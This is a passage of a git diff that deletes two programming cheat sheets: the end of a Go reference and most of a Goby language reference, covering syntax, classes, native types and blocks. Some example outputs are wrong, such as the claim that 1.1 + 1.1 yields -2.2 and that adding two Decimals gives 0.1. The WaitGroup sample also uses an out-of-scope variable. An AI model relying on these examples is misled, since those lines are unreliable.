-### Buffered channels
-
-```go
-ch := make(chan int, 2)
-ch <- 1
-ch <- 2
-ch <- 3
-// fatal error:
-// all goroutines are asleep - deadlock!
-```
-
-{: data-line="1"}
-
-Buffered channels limit the amount of messages it can keep.
-
-See: [Buffered channels](https://tour.golang.org/concurrency/3)
-
-### Closing channels
-
-#### Closes a channel
-
-```go
-ch <- 1
-ch <- 2
-ch <- 3
-close(ch)
-```
-
-{: data-line="4"}
-
-#### Iterates across a channel until its closed
-
-```go
-for i := range ch {
-  ···
-}
-```
-
-{: data-line="1"}
-
-#### Closed if `ok == false`
-
-```go
-v, ok := <- ch
-```
-
-See: [Range and close](https://tour.golang.org/concurrency/4)
-
-### WaitGroup
-
-```go
-import "sync"
-
-func main() {
-  var wg sync.WaitGroup
-
-  for _, item := range itemList {
-    // Increment WaitGroup Counter
-    wg.Add(1)
-    go doOperation(item)
-  }
-  // Wait for goroutines to finish
-  wg.Wait()
-
-}
-```
-
-{: data-line="1,4,8,12"}
-
-```go
-func doOperation(item string) {
-  defer wg.Done()
-  // do operation on item
-  // ...
-}
-```
-
-{: data-line="2"}
-
-A WaitGroup waits for a collection of goroutines to finish. The main goroutine calls Add to set the number of goroutines to wait for. The goroutine calls `wg.Done()` when it finishes.
-See: [WaitGroup](https://golang.org/pkg/sync/#WaitGroup)
-
-## Error control
-
-### Defer
-
-```go
-func main() {
-  defer fmt.Println("Done")
-  fmt.Println("Working...")
-}
-```
-
-{: data-line="2"}
-
-Defers running a function until the surrounding function returns.
-The arguments are evaluated immediately, but the function call is not ran until later.
-
-See: [Defer, panic and recover](https://blog.golang.org/defer-panic-and-recover)
-
-### Deferring functions
-
-```go
-func main() {
-  defer func() {
-    fmt.Println("Done")
-  }()
-  fmt.Println("Working...")
-}
-```
-
-{: data-line="2,3,4"}
-
-Lambdas are better suited for defer blocks.
-
-```go
-func main() {
-  var d = int64(0)
-  defer func(d *int64) {
-    fmt.Printf("& %v Unix Sec\n", *d)
-  }(&d)
-  fmt.Print("Done ")
-  d = time.Now().Unix()
-}
-```
-
-{: data-line="3,4,5"}
-The defer func uses current value of d, unless we use a pointer to get final value at end of main.
-
-## Structs
-
-### Defining
-
-```go
-type Vertex struct {
-  X int
-  Y int
-}
-```
-
-{: data-line="1,2,3,4"}
-
-```go
-func main() {
-  v := Vertex{1, 2}
-  v.X = 4
-  fmt.Println(v.X, v.Y)
-}
-```
-
-See: [Structs](https://tour.golang.org/moretypes/2)
-
-### Literals
-
-```go
-v := Vertex{X: 1, Y: 2}
-```
-
-```go
-// Field names can be omitted
-v := Vertex{1, 2}
-```
-
-```go
-// Y is implicit
-v := Vertex{X: 1}
-```
-
-You can also put field names.
-
-### Pointers to structs
-
-```go
-v := &Vertex{1, 2}
-v.X = 2
-```
-
-Doing `v.X` is the same as doing `(*v).X`, when `v` is a pointer.
-
-## Methods
-
-### Receivers
-
-```go
-type Vertex struct {
-  X, Y float64
-}
-```
-
-```go
-func (v Vertex) Abs() float64 {
-  return math.Sqrt(v.X * v.X + v.Y * v.Y)
-}
-```
-
-{: data-line="1"}
-
-```go
-v := Vertex{1, 2}
-v.Abs()
-```
-
-There are no classes, but you can define functions with _receivers_.
-
-See: [Methods](https://tour.golang.org/methods/1)
-
-### Mutation
-
-```go
-func (v *Vertex) Scale(f float64) {
-  v.X = v.X * f
-  v.Y = v.Y * f
-}
-```
-
-{: data-line="1"}
-
-```go
-v := Vertex{6, 12}
-v.Scale(0.5)
-// `v` is updated
-```
-
-By defining your receiver as a pointer (`*Vertex`), you can do mutations.
-
-See: [Pointer receivers](https://tour.golang.org/methods/4)
-
-## Interfaces
-
-### A basic interface
-
-```go
-type Shape interface {
-  Area() float64
-  Perimeter() float64
-}
-```
-
-### Struct
-
-```go
-type Rectangle struct {
-  Length, Width float64
-}
-```
-
-Struct `Rectangle` implicitly implements interface `Shape` by implementing all of its methods.
-
-### Methods
-
-```go
-func (r Rectangle) Area() float64 {
-  return r.Length * r.Width
-}
-
-func (r Rectangle) Perimeter() float64 {
-  return 2 * (r.Length + r.Width)
-}
-```
-
-The methods defined in `Shape` are implemented in `Rectangle`.
-
-### Interface example
-
-```go
-func main() {
-  var r Shape = Rectangle{Length: 3, Width: 4}
-  fmt.Printf("Type of r: %T, Area: %v, Perimeter: %v.", r, r.Area(), r.Perimeter())
-}
-```
-
-## References
-
-### Official resources
-
--   [A tour of Go](https://tour.golang.org/welcome/1) _(tour.golang.org)_
--   [Golang wiki](https://github.com/golang/go/wiki/) _(github.com)_
--   [Effective Go](https://golang.org/doc/effective_go.html) _(golang.org)_
-
-### Other links
-
-{: .-intro}
-
--   [Go by Example](https://gobyexample.com/) _(gobyexample.com)_
--   [Awesome Go](https://awesome-go.com/) _(awesome-go.com)_
--   [JustForFunc Youtube](https://www.youtube.com/channel/UC_BzFbxG2za3bp5NRRRXJSw) _(youtube.com)_
--   [Style Guide](https://github.com/golang/go/wiki/CodeReviewComments) _(github.com)_
diff --git a/docs/content/cheat-sheets/goby.md b/docs/content/cheat-sheets/goby.md
deleted file mode 100644
index c9b495f00d..0000000000
--- a/docs/content/cheat-sheets/goby.md
+++ /dev/null
@@ -1,1285 +0,0 @@
----
-title: title
-subtitle: subtitle
-date: '2022-01-03'
-thumb_img_alt: lorem-ipsum
-content_img_alt: lorem-ipsum
-excerpt: lorem-ipsum
-seo:
-    title: ''
-    description: ''
-    robots: []
-    extra: []
-template: post
-thumb_img_path: images/css-72a655a7.jpg
----
-
----
-
-title: Goby
-
-prism_languages: [ruby]
-weight: -3
-category: Ruby
-intro: |
-Goby's language design is based on Ruby language's, slim and shaped up. Differences in syntax between them is very small.
-
----
-
-## Getting started
-
-### Hello world
-
-#### hello.gb
-
-{: .-file}
-
-```ruby
-class Greet
-  attr_accessor :audience, :head, :tail
-
-  def initialize
-    @head = "Hello, "
-    @tail = "!"
-  end
-
-  def name
-    audience.name
-  end
-
-  def say
-    puts head + name + tail
-  end
-end
-
-module MyName
-  attr_reader :name
-
-  def initialize
-    @name = self.class.to_s
-  end
-end
-
-class World
-  include MyName
-end
-
-greet = Greet.new
-greet.audience = World.new
-greet.say
-```
-
-Then run:
-
-```bash
-$ goby hello.gb
-#=> Hello, World!
-```
-
-### REPL (igb)
-
-```bash
-$ goby -i
-```
-
--   `reset`: reset the VM
--   `exit`: exit REPL
--   `help`: show help
--   ctrl-c: cancel the block entered, or exit (on top level)
-
-See [igb manual & test script](https://github.com/goby-lang/goby/blob/master/igb/manual_test.md). You can use `readline` features such as command history by arrow keys.
-
-## Variables
-
-### Local variable
-
-```ruby
-zip101 = "233-7383"
-magic_number = 42
-```
-
-Should be "`[a-z][a-z0-9_]+`"(snake_case).
-
-### Instance variable
-
-```ruby
-module State
-  def initialize(state)
-    @state = state      # declaring an instance variable by assignment
-  end
-  def show
-    @state              # accessible from other instance methods
-  end
-end
-
-state = State.new "success"
-state.show
-#=> success
-```
-
-Should be "`@[a-z][a-z0-9_]+`"(snake_case).
-
-### Multiple assignment
-
-```ruby
-# array literal
-a, b, c = [1, 2, 3]
-
-# array with '*'
-a = [1, 2, 3]
-x, y, z = *a
-
-# array literal with '*'
-a, b, c = *[1, 2, 3]
-
-# bare assignment: unsupported
-a, b, c = 1, 2, 3  #=> unexpected 3 Line: 0
-```
-
-### Black hole variable
-
-```ruby
-# '_' is write-only
-a, _ = [1, 2]
-```
-
-### Class variable
-
-Unsupported.
-
-### Global variable
-
-Unsupported.
-
-## Method definition
-
-### Method definition and calling
-
-```ruby
-def foo_bar?(baz)
-  if baz == "Hi, Goby!"
-    true
-  else
-    false
-  end
-end
-
-foo_bar? "Hi, Goby!" #=> true
-```
-
-Method name should be "`[a-z][a-z0-9_]+\??`" (snake_case). You can omit the trailing "`()`" only if no parameters are taken. Trailing using "`!`" is **unsupported**.
-
-### Order of method parameter
-
-```ruby
-def foo(normal, default="value", hash={}, ary=[], keyword:, keyword_default:"key", *sprat)
-end
-```
-
-If a default value is provided to a parameter, the parameter can be omitted when calling. `()` can be omitted. The order of parameters in method definition is restricted as follows:
-
-1. **normal parameters** (like `a`)
-2. **normal parameters with default value** (like `a=1`)
-3. **optional parameters** (array or hash, like `ary=[]` or `hs={}`)
-4. **keyword parameters** (like `kwd:`)
-5. **keyword parameters with default value** (like `kwd: 1` or `ary: [1,2,3]` or `hsh: {key: "value"}`)
-6. **splat parameters** (like `*sp`)
-
-Or you will receive an error.
-
-### Keyword parameter (WIP)
-
-```ruby
-def foo(process:, verb: :GET, opt:{ csp: :enabled }, ary: [1, 2, 3])
-end
-```
-
-### Returning value
-
-```ruby
-PI = 3.14
-def area(radius)
-  radius * PI      # returns the result of evaluation
-end
-
-area 6             #=> 18.84
-```
-
-### Returning multiple value
-
-```ruby
-def my_array
-  [1, 2, 3]
-end
-
-my_array   #=> [1, 2, 3]
-```
-
-### Instance method
-
-```ruby
-module Foo
-  def bar       # defining instance method
-    puts "bar"
-  end
-
-  def baz(count, email: "goby@example.com")
-    count.times do
-      puts email
-    end
-  end
-end
-
-foo = Foo.new
-foo.bar     #=> bar
-foo.baz(3)  #↓
-goby@example.com
-goby@example.com
-goby@example.com
-```
-
-### Singleton method #1
-
-```ruby
-str = "Goby"
-def str.foo     #1 singleton method on the object
-  self * 2
-end
-
-str.foo
-#=> GobyGoby
-```
-
-### Singleton method #2
-
-```ruby
-module Foo
-  def self.bar  #2 singleton method with `self.`
-    92
-  end
-end
-```
-
-### Singleton method #3
-
-```ruby
-module Foo
-  def Foo.bar   #3 singleton method with a class name (unrecommended)
-    88
-  end
-end
-```
-
-### Singleton method #4
-
-```ruby
-module Foo end
-
-def Foo.bar     #4 singleton methods outside the Foo
-  9999
-end
-
-Foo.bar #=> 9999
-```
-
-### Attribute accessor method
-
-```ruby
-class Foo
-  attr_accessor :bar, :baz
-
-  def initialize
-    @bar = 42
-    @baz = 99
-  end
-end
-
-foo = Foo.new
-
-foo.bar = 77
-foo.baz = 88
-```
-
-You can use the following shorthands to declare attribute accessor methods in classes/modules:
-
--   `attr_accessor`
--   `attr_reader`
--   `attr_writer`
-
-### Private method (to be implemented)
-
-```ruby
-class Foo
-  def bar
-    42
-  end
-
-  def _baz  # leading '_' means private method
-    99
-  end
-end
-```
-
-## Module/Class definition
-
-### Module definition and `include`
-
-```ruby
-module Foo
-  def foo
-    "Foo's instance method"
-  end
-end
-
-class Bar
-  include Foo   # to include Foo
-end
-
-Bar.new.foo     #=> Foo's instance method
-```
-
-Module names should be "`[A-Z][A-Za-z0-9_]+`" (UpperCamelCase). Modules cannot be inherited.
-
-### Module definition and `extend`
-
-```ruby
-module Foo
-  def foo
-    "Foo's instance method will be a singleton method"
-  end
-end
-
-class Bar
-  extend Foo   # to extend Foo
-end
-
-Bar.foo        #=> Foo's instance method will be a singleton method
-```
-
-`extend` is to use the instance methods in the specified modules as **singleton methods** in your class or module.
-
-### Module instantiation
-
-```ruby
-module Foo   #module definition
-  def foo
-    99
-  end
-end
-
-Foo.new.foo  #=> 99
-```
-
-Actually, Goby's module can be even **instantiated** via "`new`" like "`Foo.new`".
-
-### Class definition and inheritance
-
-```ruby
-class Foo       # class definition
-  def bar
-    99
-  end
-end
-
-class Baz < Foo # inheritance
-end
-
-Baz.new.bar  #=> 99
-```
-
-Class names should be "`[A-Z][A-Za-z0-9]+`" (UpperCamelCase). Inheritance with "`<`" is supported.
-
-### Constants
-
-````ruby
-HTTP_ERROR_404 = 404
-HTTP_ERROR_404 = 500    # error
-```js
-
-constants should be "`[A-Z][A-Za-z0-9_]+`" (UPPER_SNAKECASE). Constants are **not reentrant** and the scope is **global**.
-
-### Redefining class/modules
-
-```ruby
-class Foo
-  def bar
-    99
-  end
-end
-
-class Foo
-  def bar  # redefining is possible
-    77
-  end
-end
-````
-
-### Namespaces
-
-```ruby
-class Foo
-  module Bar
-    MAGIC = 99
-    def baz
-      99
-    end
-  end
-end
-
-Foo::Bar.new.baz     # Use '::' for namespacing
-Foo::Bar::MAGIC      # Use '::' for namespacing
-```
-
-## Load library
-
-### `require`
-
-```ruby
-require("uri")   # to activate URL class
-
-u = URI.parse("http://example.com")
-u.scheme   #=> "http"
-```
-
-### `require_relative`
-
-```ruby
-require_relative("bar")  # loading the local bar.gb
-
-class Foo
-  def self.bar(x)
-    Bar.foo do |ten|
-      x * ten
-    end
-  end
-
-  def self.baz
-    yield(100)
-  end
-end
-```
-
-## Literal
-
-### Keyword
-
-`def`, `true`, `false`, `nil`, `if`, `elsif`, `else`, `case`, `when`, `return`, `self`, `end`, `while`, `do`, `yield`, `get_block`, `next`, `class`, `module`, `break`
-
-### String literal
-
-```ruby
-"double quote"
-'single quote'
-```
-
-Double and single quotation can be used.
-
-### Symbol literal
-
-```ruby
-:symbol           # equivalent to "symbol"
-{ symbol: "value" }
-```
-
-Goby's symbol (using `:`) is always `String` class.
-
-### Numeric literal
-
-```ruby
-year   =  2018   # Integer
-offset = -42     # Integer
-PI     = 3.14    # Float
-G      = -9.8    # Float
-```
-
-### Array literal
-
-```ruby
-[1, 2, 3, "hello", :goby, { key: "value"}]
-[1, 2, [3, 4], 5, 6]
-```
-
-### Hash literal
-
-```ruby
-h = { key: "value", key2: "value2" }
-h[:key2]   #=> value2
-```
-
-Hash literal's keys should always be **symbol literals**.
-
-### Range literal
-
-```ruby
-(1..10).each do |x|    # '..' represents a range
-  puts x*x
-end
-```
-
-### Boolean and `nil`
-
-```ruby
-true       # Boolean class
-false      # Boolean class
-nil        # Null class
-
-!nil  #=> true
-```
-
-Any objects except `nil` and `false` will be treated as `true` on conditionals.
-
-## Operator
-
-### Arithmetic/logical/assignment operators
-
-```ruby
-+           # unary
-**          # power
--           # unary
-* / %       # multiplication, division, modulus
-+ -         # addition, subtraction
-!           # logical inversion
-> >= < <=   # inequality comparison
-== !=       # equality comparison, negative comparison
-&&          # logical AND
-||          # logical OR
-+= -=       # shorthand of addition/subtraction
-=           # assignment
-```
-
-\*Priority of operators are TBD
-
-### Other operators
-
-```ruby
-()          # chaning priority of interpretation
-[]          # array literal
-*           # multiple assignment
-..          # range
-```
-
-\*Priority of operators are TBD
-
-### Delimiter
-
-```ruby
-class Foo; end   # ';' to delimit
-
-class Bar end    # recommended
-```
-
-### String interpolation (to be implemented)
-
-```ruby
-puts "Error: #{error_message}"  # double quotation is required
-```
-
-### Comment
-
-```ruby
-puts "Goby"    # comments
-```
-
-Use the annotations to keep the comments concise.
-
--   `TODO`
--   `FIXME`
--   `OPTIMIZE`
--   `HACK`
--   `REVIEW`
-
-### I/O
-
--   `#puts`
-
--   special constants: `ARGV`, `STDIN`, `STDOUT`, `STDERR`, `ENV`
-
-## Flow control
-
-### `if`, `else`, `elsif`
-
-```ruby
-def foo(str)
-  if str.size > 10
-    puts "too big!"
-  elsif str.size < 3
-    puts "too short!"
-  else
-    puts "moderate"
-  end
-end
-```
-
-`then` is **not** supported.
-
-### Break
-
-```ruby
-def foo(tail)
-  (5..tail).each do |t|
-    if t % 2 == 0 && t % 5 == 0
-      puts "ouch!"
-      break       # finish the block
-    else
-      puts t
-    end
-  end
-  puts "out of the block"
-end
-
-foo 20
-#=> 5 6 7 8 9
-#=> ouch!
-#=> out of the block
-```
-
-### Case
-
-```ruby
-def foo(str)
-  case str
-  when "Elf"
-    puts "You might be Aragorn II!"
-  when "Aragorn"
-    puts "Long time no see, Aragorn!"
-  when "Frodo", "Sam", "Gandalf"
-    puts "One of us!"
-  else
-    puts "You're not yourself"
-  end
-end
-```
-
-### While
-
-```ruby
-decr = 10
-while decr do
-  if decr < 1
-    break
-  end
-  puts decr
-  decr -= 1
-end
-```
-
-`while`, conditional and a `do`/`end` block can be used for a loop.
-
-### Rescue
-
-Under construction. Join [#605](https://github.com/goby-lang/goby/issues/605).
-
-## Block
-
-### Block
-
-```ruby
-def foo(ary: [1, 2, 3])
-  ary.each do |s|      # start of the block with |block variable|
-    puts s
-  end                  # end of the block
-end
-```
-
-`{ }` cannot be used for forming a block.
-
-### `yield`
-
-```ruby
-def foo
-  yield(10)  # executes the block given
-end
-
-foo do |ten|
-  ten + 20
-end
-```
-
-### Block object and `call`
-
-```ruby
-b = Block.new do
-  100
-end
-
-b.call  #=> 100
-```
-
-`Block.new` can take a block and then `call`.
-
-### Passing a block
-
-```ruby
-def baz
-  1000
-end
-
-class Foo
-  def exec_block(block)
-	block.call
-  end
-
-  def baz
-    100
-  end
-end
-
-b = Block.new do
-  baz
-end
-
-f = Foo.new
-f.exec_block(b)
-```
-
-### Passing a block with block arguments
-
-```ruby
-b = Block.new do |arg, offset|
-  arg + 1000 - offset
-end
-
-b.call(49, 500) #=> 549
-```
-
-### Special `get_block` keyword
-
-```ruby
-def bar(block)
-  # runs the block object and the block arg simultaneously
-  block.call + get_block.call
-end
-
-def foo
-  bar(get_block) do # passes two blocks to `bar`
-    20
-  end
-end
-
-foo do
-  10
-end
-```
-
-`get_block` is not a method but a **keyword** to retrive a given block argument as a block object. By this, you can pass around or `call` the given block arguments as block objects.
-
-### Closure
-
-```ruby
-count = 0          # the declaration is used
-b = Block.new do
-  count += 1       # the block looks preserving the `count`
-end
-
-class Foo
-  def bar(blk)
-    count = 9      # (does not affect)
-    puts blk.call  # local variable is resolved to the one above
-  end
-end
-
-Foo.new.bar b  #=> 1
-Foo.new.bar b  #=> 2
-Foo.new.bar b  #=> 3
-```
-
-## Native class (Primary)
-
-Goby's most "native" classes cannot instantiate with `new` in principle.
-
-### `Object`
-
-```ruby
-Bar.ancestors
-#» [Bar, Foo, Object]
-Bar.singleton_class.ancestors
-#» [#<Class:Bar>, #<Class:Object>, Class, Object]
-```
-
-`Object` is actually just for creating singleton classes. See `Class`.
-
--   **`Object.methods`**: `!`, `!=`, `==`, `block_given?`, `class`, `exit`, `instance_eval`, `instance_variable_get`, `instance_variable_set`, `is_a?`, `methods`, `nil?`, `object_id`, `puts`, `raise`, `require`, `require_relative`, `send`, `singleton_class`, `sleep`, `thread`, `to_s`, `<`, `<=`, `>`, `>=`, `ancestors`, `attr_accessor`, `attr_reader`, `attr_writer`, `extend`, `include`, `name`, `new`, `superclass`
-
--   **`Object.new.methods`**: `!`, `!=`, `==`, `block_given?`, `class`, `exit`, `instance_eval`, `instance_variable_get`, `instance_variable_set`, `is_a?`, `methods`, `nil?`, `object_id`, `puts`, `raise`, `require`, `require_relative`, `send`, `singleton_class`, `sleep`, `thread`, `to_s`
-
-### `Class`
-
-```ruby
-String.ancestors      #=> [String, Object]
-```
-
-`Class` and `Object`can actually be regarded as the same and you don't need to distinguish them in almost all the cases.
-
--   **`Class.methods`**: `<`, `<=`, `>`, `>=`, `ancestors`, `attr_accessor`, `attr_reader`, `attr_writer`, `extend`, `include`, `name`, `new`, `superclass`, `!`, `!=`, `==`, `block_given?`, `class`, `exit`, `instance_eval`, `instance_variable_get`, `instance_variable_set`, `is_a?`, `methods`, `nil?`, `object_id`, `puts`, `raise`, `require`, `require_relative`, `send`, `singleton_class`, `sleep`, `thread`, `to_s`
-
-### `String`
-
-```ruby
-puts "Hello" + ' ' + 'world'  #=> Hello world
-```
-
-Fixed to **UTF-8** with mb4 support.
-
--   **`String.methods`**: `fmt`,
-    -   the rest: `Class.methods`
--   **`"a".methods`**: `!=`, `*`, `+`, `<`, `<=>`, `==`, `=~`, `>`, `[]`, `[]=`, `capitalize`, `chop`, `concat`, `count`, `delete`, `downcase`, `each_byte`, `each_char`, `each_line`, `empty?`, `end_with?`, `eql?`, `fmt`, `include?`, `insert`, `length`, `ljust`, `match`, `new`, `replace`, `replace_once`, `reverse`, `rjust`, `size`, `slice`, `split`, `start_with`, `strip`, `to_a`, `to_bytes`, `to_d`, `to_f`, `to_i`, `to_s`, `upcase`,
-    -   the rest: `Object.new.methods`
-
-### `Integer`
-
-```ruby
-37037 * 27      #=> 999999
-```
-
--   **`Integer.methods`**: the same as `Class.methods`
--   **`1.methods`**: `!=`, `%`, `*`, `**`, `+`, `-`, `/`, `<`, `<=`, `<=>`, `==`, `>`, `>=`, `even?`, `new`, `next`, `odd?`, `pred`, `ptr`, `times`, `to_f`, `to_float32`, `to_float64`, `to_i`, `to_int`, `to_int16`, `to_int32`, `to_int64`, `to_int8`, `to_s`, `to_uint`, `to_uint16`, `to_uint32`, `to_uint64`, `to_uint8`
-    -   the rest: `Object.new.methods`
-
-### `Array`
-
-```ruby
-[1, "2", :card, [4, 5], { john: "doe" }]
-```
-
--   **`Array.methods`**: the same as `Class.methods`
--   **`[1].methods`**: `*`, `+`, `[]`, `[]=`, `any?`, `at`, `clear`, `concat`, `count`, `delete_at`, `dig`, `each`, `each_index`, `empty?`, `first`, `flatten`, `include?`, `join`, `last`, `lazy`, `length`, `map`, `new`, `pop`, `push`, `reduce`, `reverse`, `reverse_each`, `rotate`, `select`, `shift`, `to_enum`, `unshift`, `values_at`
-    -   the rest: `Object.new.methods`
-
-### `Hash`
-
-```ruby
-h = { key: "value" }
-h = { "key": "value" }  #=> error
-
-h["key"]  #=> value
-h[:key]   #=> value
-```
-
-Keys in hash literals should be **symbol literals**, while Hash index can be either string or symbol literals.
-
--   **`Hash.methods`**: the same as `Class.methods`
--   **`{ key: "value" }.methods`**: `[]`, `[]=`, `any?`, `clear`, `default`, `default=`, `delete`, `delete_if`, `dig`, `each`, `each_key`, `each_value`, `empty?`, `eql?`, `fetch`, `fetch_values`, `has_key?`, `has_value?`, `keys`, `length`, `map_values`, `merge`, `new`, `select`, `sorted_keys`, `to_a`, `to_json`, `to_s`, `transform_values`, `values`, `values_at`
-    -   the rest: `Object.new.methods`
-
-### `Range`
-
-```ruby
-(1..10).each do |i|
-  puts i ** 2
-end
-```
-
--   **`Range.methods`**: the same as `Class.methods`
--   **`(1..10).methods`**: `!=`, `==`, `bsearch`, `each`, `first`, `include?`, `last`, `lazy`, `map`, `new`, `size`, `step`, `to_a`, `to_enum`
-    -   the rest: `Object.new.methods`
-
-### `Block`
-
-```ruby
-b = Block.new do
-  100
-end
-
-b.call  #=> 100
-```
-
--   **`Block.methods`**: the same as `Class.methods`
--   **`(Block.new do end).methods`**: `call`
-    -   the rest: `Object.new.methods`
-
-## Native class (secondary)
-
-### `Float`
-
-```ruby
-1.1 + 1.1   # => -2.2
-2.1 * -2.1  # => -4.41
-```
-
-Float literals like `3.14` or `-273.15`. `Float` class is based on Golang's `float64` type.
-
--   **`Float.methods`**: the same as `Class.methods`
--   **`3.14.methods`**: `!=`, `%`, `*`, `**`, `+`, `-`, `/`, `<`, `<=`, `<=>`, `==`, `>`, `>=`, `new`, `ptr`, `to_d`, `to_i`
-    -   the rest: `Object.new.methods`
-
-### `Decimal`
-
-```ruby
-"3.14".to_d            # => 3.14
-"-0.7238943".to_d      # => -0.7238943
-"355/113".to_d
-# => 3.1415929203539823008849557522123893805309734513274336283185840
-
-a = "16.1".to_d
-b = "1.1".to_d
-e = "17.2".to_d
-a + b # => 0.1
-a + b == e # => true
-
-('16.1'.to_d  + "1.1".to_d).to_s #=> 17.2
-('16.1'.to_f  + "1.1".to_f).to_s #=> 17.200000000000003
-```
-
-Experimental: the size is arbitrary and internally a fraction from Golang's `big.Rat` type. Decimal literal is TBD for now and you can get `Decimal` number via `to_d` method from `Integer`/`Float`/`String`.
-
--   **`Decimal.methods`**: the same as `Class.methods`
--   **`(1.1).to_d.methods`**: `!=`, `*`, `**`, `+`, `-`, `/`, `<`, `<=`, `<=>`, `==`, `>`, `>=`, `denominator`, `fraction`, `inverse`
-    -   the rest: `Object.new.methods`
-
-### `Regexp`
-
-```ruby
-a = Regexp.new("orl")
-a.match?("Hello World")   #=> true
-a.match?("Hello Regexp")  #=> false
-
-b = Regexp.new("😏")
-b.match?("🤡 😏 😐")    #=> true
-b.match?("😝 😍 😊")    #=> false
-
-c = Regexp.new("居(ら(?=れ)|さ(?=せ)|る|ろ|れ(?=[ばる])|よ|(?=な[いかくけそ]|ま[しすせ]|そう|た|て))")
-c.match?("居られればいいのに")  #=> true
-c.match?("居ずまいを正す")      #=> false
-```
-
-Using `/ /` is to be implemented.
-
--   **`Regexp.methods`**: the same as `Class.methods`
--   **`Regexp.new("^aa$").methods`**: `==`, `match?`
-    -   the rest: `Object.new.methods`
-
-### `MatchData`
-
-```ruby
-# numbered capture
-'abcd'.match(Regexp.new('(b.)'))
-#=> #<MatchData 0:"bc" 1:"bc">
-
-# named capture
-'abcd'.match(Regexp.new('a(?<first>b)(?<second>c)'))
-#=> #<MatchData 0:"abc" first:"b" second:"c">
-
-# converting to hash
-» 'abcd'.match(Regexp.new('a(?<first>b)(?<second>c)')).to_h
-#» { 0: "abc", first: "b", second: "c" }
-```
-
-The number keys in the captures are actually `String` class.The key `0` is the mached string.
-
--   **`MatchData.methods`**: the same as `Class.methods`
--   **`'abcd'.match(Regexp.new('(b.)')).methods`**: `captures`, `length`, `new`, `to_a`, `to_h`
-    -   the rest: `Object.new.methods`
-
-### `File`
-
-```ruby
-f = File.new("../test_fixtures/file_test/size.gb")
-f.name  #=> "../test_fixtures/file_test/size.gb"
-```
-
--   **`File.methods`**: `basename`, `chmod`, `delete`, `exist?`, `extname`, `join`
-    -   the rest: `Class.methods`
--   **`File.new.methods`**: `basename`, `chmod`, `close`, `delete`, `exist?`, `extname`, `join`, `name`
-    -   the rest: `Object.new.methods`
-
-## Native class (Golang-oriented)
-
-### `GoMap`
-
-```ruby
-h = { foo: "bar" }
-m = GoMap.new(h)    # to pass values to Golang's code
-h2 = m.to_hash
-h2[:foo]   #=> "bar"
-```
-
--   **`GoMap.methods`**: the same as `Class.methods`
--   **`GoMap.new.methods`**: `get`, `set`, `to_hash`
-    -   the rest: `Object.new.methods`
-
-### `Channel`
-
-```ruby
-c = Channel.new
-
-1001.times do |i| # i start from 0 to 1000
-  thread do
-  	c.deliver(i)
-  end
-end
-
-r = 0
-1001.times do
-  r = r + c.receive
-end
-
-r #=> 500500
-```
-
-`Channel` class is to hold channels to work with `#thread`. See `thread`.
-
--   **`Channel.methods`**: the same as `Class.methods`
--   **`Channel.new.methods`**: `close`, `deliver`, `new`, `receive`
-    -   the rest: `Object.new.methods`
-
-## Enumerator & lazy
-
-Pretty new experimental library.
-
-### `LazyEnumerator`
-
-```ruby
-# creating a lazy enumerator
-enumerator = LazyEnumerator.new(ArrayEnumerator.new([1, 2, 3])) do |value|
-	2 * value
-end
-result = []
-
-enumerator.each do |value|
-	result.push(value)
-end
-
-result   #=> [2, 4, 6]
-```
-
-A shorthand `#lazy` method is also provided in `Array` and `Range` by now. See "Tips & tricks" below.
-
--   **`LazyEnumerator.methods`**: the same as `Class.methods`
--   **`[1, 2].lazy`**: `each`, `first`, `has_next?`, `initialize`, `map`, `next`
-    -   the rest: `Object.new.methods`
-
-### `ArrayEnumerator`
-
-```ruby
-iterated_values = []
-
-enumerator = ArrayEnumerator.new([1, 2, 4])
-
-while enumerator.has_next? do
-	iterated_values.push(enumerator.next)
-end
-
-iterated_values   #=> [1, 2, 4]
-```
-
--   **`ArrayEnumerator.methods`**: the same as `Class.methods`
--   **`ArrayEnumerator.new([1, 2, 3]).methods`**: `has_next?`, `initialize`, `next`
-    -   the rest: `Object.new.methods`
-
-### `RangeEnumerator`
-
-```ruby
-iterated_values = []
-
-enumerator = RangeEnumerator.new((1..4))
-
-while enumerator.has_next? do
-	iterated_values.push(enumerator.next)
-end
-
-iterated_values   #=> [1, 2, 3, 4]
-```
-
--   **`RangeEnumerator.methods`**: the same as `Class.methods`
--   **`RangeEnumerator.new(1..2).methods`**: `has_next?`, `initialize`, `next`
-    -   the rest: `Object.new.methods`
-
-## Special class
-
-### `Boolean`
-
-```ruby
-true.class  #=> Boolean
-false.class #=> Boolean
-```
-
-A special class that just to hold `true` and `false`. Cannot be instantiate.
-
-### `Null`
-
-```ruby
-nil.class   #=> Null
-```
-
-A special class that just to hold `nil`. Cannot be instantiate.
-
-### `Method`
-
-(A special dummy class that just holds methods defined by Goby code.)
-
-### `Diggable`
-
-Provides `#dig` method. Currently. `Array` and `Hash` classes' instance can be `Diggable`.
-
-```ruby
-[1, 2].dig(0, 1)  #=> TypeError: Expect target to be Diggable, got Integer
-```
-
-## Testing framework
-
-### `Spec`
-
-```ruby
-require "spec"
-
-Spec.describe Spec do
-  it "fails and exit with code 1" do
-	expect(1).to eq(2)
-  end
-end
-
-Spec.run
-```
-
--   **`Spec.methods`**: `describe`, `describes`, `instance`, `run`
-    -   the rest: `Object.methods`
--   **`Spec.new.methods`**: `describes`, `initialize`, `run`, `session_successful`, `session_successful=`
-    -   the rest: `Hash.new.methods`
-
-## Tips & tricks
-
-### Showing methods
-
-```ruby
-» "string".methods
-#» ["!=", "*", "+", "<", "<=>", "==", "=~", ">", "[]", "[]=", "capitalize", "chop", "concat", "count", "delete", "downcase", "each_byte", "each_char", "each_line", "empty?", "end_with?", "eql?", "fmt", "include?", "insert", "length", "ljust", "match", "new", "replace", "replace_once", "reverse", "rjust", "size", "slice", "split", "start_with", "strip", "to_a", "to_bytes", "to_d", "to_f", "to_i", "to_s", "upcase", "!", "block_given?", "class", "exit", "instance_eval", "instance_variable_get", "instance_variable_set", "is_a?", "methods", "nil?", "object_id", "puts", "raise", "require", "require_relative", "send", "singleton_class", "sleep", "thread"]
-```
-
-### Showing class
-
-```ruby
-» "string".class
-#» String
-```
-
-### Showing singleton class
-
-```ruby
-» "moji".singleton_class
-#» #<Class:#<String:842352325152>>
-
-» "moji".class.singleton_class
-#» #<Class:String>
-```
-
-### Showing ancestors
-
-```ruby
-» Integer.ancestors
-#» [Integer, Object]
-
-» "moji".class.ancestors
-#» [String, Object]
-```
-
-### Showing singleton classes' ancestors
-
-```ruby
-» "moji".class.singleton_class.ancestors
-#» [#<Class:String>, #<Class:Object>, Class, Object]
-```
-
-### Showing object's id
-
-```ruby
